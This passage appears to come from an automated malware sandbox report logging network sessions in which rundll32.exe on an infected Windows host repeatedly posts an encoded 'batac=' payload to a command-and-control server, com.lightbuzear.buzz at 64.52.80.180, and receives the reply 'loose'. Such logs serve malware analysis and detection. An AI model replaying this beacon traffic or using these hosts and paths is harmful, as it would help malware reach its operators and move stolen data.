2022-08-14 06:39:57 UTC	49	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:58 UTC	50	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:58 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:58 UTC	51	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49175	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:28 UTC	6	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:28 UTC	7	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:29 UTC	8	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:29 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:29 UTC	8	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.22	49202	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:58 UTC	51	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:58 UTC	51	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:59 UTC	52	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:59 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:59 UTC	52	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.22	49203	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:59 UTC	52	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:59 UTC	53	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:00 UTC	54	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:00 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:00 UTC	54	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.22	49204	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:00 UTC	54	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:00 UTC	54	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:01 UTC	55	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:01 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:01 UTC	56	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.22	49205	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:01 UTC	56	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:01 UTC	56	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:02 UTC	57	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:02 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:02 UTC	57	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.22	49206	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:03 UTC	57	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:03 UTC	58	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:03 UTC	59	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:03 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:03 UTC	59	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.22	49207	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:04 UTC	59	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:04 UTC	59	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:04 UTC	60	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:04 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:04 UTC	61	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.22	49208	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:05 UTC	61	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:05 UTC	61	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:05 UTC	62	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:05 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:05 UTC	62	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.22	49209	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:06 UTC	62	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:06 UTC	63	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:06 UTC	64	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:06 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:06 UTC	64	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.22	49210	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:07 UTC	64	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:07 UTC	64	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:07 UTC	65	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:07 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:07 UTC	65	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.22	49211	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:08 UTC	65	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
